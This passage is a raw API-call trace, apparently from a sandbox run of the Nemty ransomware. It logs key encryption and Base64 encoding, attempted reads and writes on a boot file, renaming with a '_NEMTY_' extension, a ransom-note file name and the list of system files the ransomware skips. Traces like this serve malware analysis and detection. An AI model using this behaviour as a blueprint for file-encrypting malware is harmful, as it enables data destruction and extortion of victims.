cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.620] Sleep (dwMilliseconds=0x5) [0045.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcee622d0, dwHighDateTime=0x1d561e7)) [0045.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcee622d0, dwHighDateTime=0x1d561e7)) [0045.628] GetLastError () returned 0xb7 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.628] GetLastError () returned 0xb7 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.628] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.628] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.628] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.628] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="HHcKjuZXmadG5sesFg96z1oK5jwn2KaHNN1azC4i8APOffgJw+f5kkXNZSkwPKnP\r\neiHbc3J493GALmAwcFld7zNXFhBs7rUG3Teql5UPUK6EBr5zXHAualUxgr58/mzH\r\nvOgzsjXIfS8Oem405lMEgFf4N2s0cJivDF6RwQ2YTZ75xwGCev6ymYXq6oolp15m\r\no6Xaw6M3uHvTkIImgX1OXTGPCa0UJw/po3YNb5eG/gkWKz7FzmqHTd88h5Hjtbsz\r\n1Df5YNBQFiNor+BN0sZxj6+EeceUmoxKwzyzWYOGbuYMPSN9hZj5YoE87x52gTOF\r\nywEtaMSB/jo2m/s72/xMqQ==\r\n", pcchString=0x653f2dc) returned 1 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.629] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.629] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.743] CloseHandle (hObject=0xffffffff) returned 0 [0045.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.744] MoveFileW (lpExistingFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.744] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcee3c170, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcee3c170, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcee3c170, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.744] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.745] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcee3c170, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcee3c170, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcee3c170, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.745] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 